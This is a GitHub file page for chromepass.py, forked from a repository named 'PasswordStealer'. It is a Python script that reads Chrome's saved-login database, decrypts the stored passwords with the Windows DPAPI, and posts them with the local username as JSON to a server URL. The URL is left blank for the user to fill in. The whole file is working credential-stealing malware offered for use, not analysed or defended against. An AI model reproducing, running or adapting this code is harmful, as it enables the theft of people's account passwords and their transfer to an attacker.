forked from shashankchandak/PasswordStealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathchromepass.py
72 lines (57 loc) · 1.78 KB
/
chromepass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
import sqlite3
import requests
import getpass
try:
import win32crypt
except:
pass
def main():
send()
def getpasswords():
dataToBeSent = {}
dataList = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
cursor = connection.cursor()
v = cursor.execute(
'SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for origin_url, username, password in value:
password = win32crypt.CryptUnprotectData(
password, None, None, None, 0)[1]
if password:
dataList.append({
'origin_url': origin_url,
'username': username,
'password': str(password)[2:-1]
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
else:
print(e)
dataToBeSent["user"] = getpass.getuser()
dataToBeSent["passwords"] = dataList
return dataToBeSent
def send():
#Add post request api route here
url = " "
jsonData = getpasswords()
print(jsonData)
r = requests.post(url=url, json=jsonData)
def getpath():
PathName = os.getenv('localappdata') + \
'\\Google\\Chrome\\User Data\\Default\\'
if not os.path.isdir(PathName):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
if __name__== '__main__':
main()